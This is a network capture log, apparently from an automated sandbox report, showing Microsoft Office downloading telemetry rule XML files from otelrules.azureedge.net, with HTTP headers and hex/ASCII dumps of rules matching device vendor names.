Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:02 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:02 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184502Z-16547b76f7f9bs6dhC1DFWt3rg0000000cx000000000kct7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:02 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:02 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c6b44c52-001e-0028-1ef0-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184502Z-16547b76f7f2g4rlhC1DFWnx880000000cz0000000007wxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:02 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:02 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: b539dd90-b01e-0098-7a7f-32cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184502Z-17df447cdb5zfhrmhC1DFWh33000000009ag000000005cd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:02 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:02 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 1d5973b4-701e-0050-2a24-326767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184502Z-16547b76f7fxdzxghC1DFWmf7n0000000d4g00000000b7yg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:02 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 26f41606-e01e-0003-4a6c-320fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184502Z-15869dbbcc6kg5mvhC1DFW39vn00000003k0000000001d71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:03 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 25e91de6-d01e-00ad-1c28-32e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184503Z-15869dbbcc6bdtw9hC1DFW9m4s000000052000000000cm9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:03 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:03 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a288df0b-b01e-00ab-0601-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184503Z-16547b76f7fnlcwwhC1DFWz6gw0000000d4000000000azhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:03 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:03 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:03 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7703de1b-801e-0035-3332-33752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184503Z-15869dbbcc6hgzkhhC1DFWgtqs00000004gg0000000005c3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:03 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:03 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 77060ca6-301e-0033-4e39-33fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184503Z-15869dbbcc6pfq2ghC1DFWmp14000000069g00000000bfrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:03 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 2d611ff0-901e-002a-3d01-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184503Z-16547b76f7fm7xw6hC1DFW5px40000000cy000000000atvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:04 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:04 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3fd26caf-a01e-0032-3d02-2d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184504Z-16547b76f7fj897nhC1DFWdwq40000000cu000000000g7xu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:04 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:04 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:04 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1e70bdcb-401e-0029-2301-2d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184504Z-16547b76f7f775p5hC1DFWzdvn0000000d10000000007uxv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:04 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 